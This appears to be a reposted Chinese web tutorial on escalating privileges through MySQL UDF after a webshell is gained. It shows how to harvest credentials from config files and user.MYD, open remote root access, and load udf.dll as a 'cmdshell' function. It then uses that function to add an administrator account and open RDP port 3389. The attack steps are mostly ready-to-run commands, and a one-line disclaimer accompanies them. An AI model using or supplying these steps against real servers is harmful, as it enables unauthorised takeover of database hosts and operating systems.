广告位联系
返回顶部
分享到

mysql数据库提权的三种方法

Mysql 来源:互联网 作者:佚名 发布时间:2024-09-20 16:55:45 人浏览
摘要

MySql提权的三种方式: udf提权 mof提权 启动项提权 以下是一些常见的数据库及其默认端口: 1. MySQL: 默认端口为 3306 2. PostgreSQL: 默认端口为 5432 3. Oracle Database: 默认端口为 1521 4. Microsoft SQL Serv

MySql提权的三种方式:

  • udf提权
  • mof提权
  • 启动项提权

以下是一些常见的数据库及其默认端口:

1. MySQL: 默认端口为 3306

2. PostgreSQL: 默认端口为 5432

3. Oracle Database: 默认端口为 1521

4. Microsoft SQL Server: 默认端口为 1433

5. MongoDB: 默认端口为 27017

6. Redis: 默认端口为 6379

7. Elasticsearch: 默认端口为 9200 (HTTP) 和 9300 (内部通信)

8. Cassandra: 默认端口为 9042

9. SQLite: 通常是本地文件系统,没有固定端口

10. DB2: 默认端口为 50000

11.国产的DM达梦数据库, 默认端口号为:5236;

mysql_UDF 提权:

拿到webshell之后,进行数据库提权操作

一、端口扫描

二、信息收集:

如何获取mysql账号密码

1.查看网站配置文件。

如:conn、config、data、sql、common 、inc、include等。

2.Mysql配置文件:C:\phpStudy\MySQL\data\mysql\user.MYD

例如:DVWA默认数据库存储在:C:/phpStudy/WWW/DVWA/config/config.inc.php.dist目录

点击查看:账号:root 密码:root

查看数据库安装路径下的mysql文件 安装目录为/data/mysql/user.myd和user.myi

放到MD5在线网站进行解密

三、提权利用

注意事项:提权的第一步要知道数据库的版本号:

(1)如果mysql<5.1    导出目录 c:\windows 或  c:\windows\system32

(2)mysql=>5.1   导出安装目录\MySQL\lib\plugin

注*:默认mysql不能远程连接,需要用菜刀进行本地连接

选择mysql,填写好账号:root 密码root,确认好提交进行连接

1

2

3

4

设置远程连接,用于在本地连接。

 

mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";

mysql> flush privileges; 重新加载权限数据

数据库版本为5.5.53

由于本次实验数据库为5.5.53,因此选择\MySQL\lib\plugin目录。

提示报错

前提条件为:secure_file_priv等于空,需要在my.ini配置文件中进行设置

修改之后,查看安装dll文件完成。

创建cmdshell函数,执行操作系统命令。

1

Create Function cmdshell returns string soname 'udf.dll';

使用cmdshll函数执行操作系统命令

1

2

3

select cmdshell('whoami');

select cmdshell('net user 123 123/add');    添加用户

select cmdshell('net localgroup administrators 123 /add');    将123用户添加到管理组

开3389进行远程连接

1

2

Create Function open3389 returns string soname 'udf.dll';

select open3389();    开启3389远程连接

注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关。


版权声明 : 本文内容来源于互联网或用户自行发布贡献,该文观点仅代表原作者本人。本站仅提供信息存储空间服务和不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权, 违法违规的内容, 请发送邮件至2530232025#qq.cn(#换@)举报,一经查实,本站将立刻删除。
原文链接 :
相关文章
  • mysql数据库提权的三种方法

    mysql数据库提权的三种方法
    MySql提权的三种方式: udf提权 mof提权 启动项提权 以下是一些常见的数据库及其默认端口: 1. MySQL: 默认端口为 3306 2. PostgreSQL: 默认端口为
  • 解决ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘

    解决ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘
    最近在学习Django框架,于是在windows系统上搭建了Django环境,并使用虚拟机ubuntu系统上安装的mysql作为项目的远程数据库,前几天一直用得好
  • mysql中xtrabackup全量备份/增量备份及恢复

    mysql中xtrabackup全量备份/增量备份及恢复
    一、测试前准备 mysql数据库 端口 3306 数据文件目录 /data/mysql/3306/data 安装目录 /usr/lcoal/mysql 配置文件 /etc/my.cnf 创建数据库 testXtra 创建备份目
  • 深入理解MySQL8.0默认TCP端口
    1、本文内容 选择题 TCP/IP MySQL 8.0 的默认TCP端口 show variables查看 总结 2、选择题 A、3306 B、33060 C、33062 D、33063 3、TCP/IP TCP/IP(Transmission Cont
  • MySQL8全文索引的实现方法

    MySQL8全文索引的实现方法
    创建索引 之前未尝试过使用MySQL8的全文索引,今天试一试看看什么效果,否则跟不上时代了都。 创建索引非常简单,写句SQL就行。 1 2 3 4
  • MySQL8.0 MGR的维护管理
    现在有个三节点的MGR集群: 1 2 3 4 5 6 7 8 9 mysql select * from performance_schema.replication_group_members; +---------------------------+-------------------------------
  • 探讨MySQL约束下的查询功能

    探讨MySQL约束下的查询功能
    一. 数据库约束: 1.约束类型汇总: 约束类型 说明 NULL约束 使用NOT NULL指定列不为 空 UNIQUE唯一约束 指定列为唯一的、不重复的 DEFAULT默认值
  • MySQL文件权限存在的安全问题和解决方案

    MySQL文件权限存在的安全问题和解决方案
    在实际生产环境中,应按照软件安全设计的「最小特权原则」设置MySQL的文件权限。 MySQL「安装目录」的属主和属组需要设置成mysql用户;
  • MySQL数据库中如何查询近一年的数据
    在MySQL中,如果你想查询近一年的数据,你可以使用CURDATE()或NOW()函数来获取当前日期或时间,然后通过日期函数(如DATE_SUB())来减去一年的
  • IDEA的database插件无法连接mysql的解决办法(08001错误

    IDEA的database插件无法连接mysql的解决办法(08001错误
    错误复现: 如上图所示,用navicat链接数据库正常,mysql控制台操作正常,但是用IDEA的数据库插件链接一直报 08001 错误【[08001] Could not crea
  • 本站所有内容来源于互联网或用户自行发布,本站仅提供信息存储空间服务,不拥有版权,不承担法律责任。如有侵犯您的权益,请您联系站长处理!
  • Copyright © 2017-2022 F11.CN All Rights Reserved. F11站长开发者网 版权所有 | 苏ICP备2022031554号-1 | 51LA统计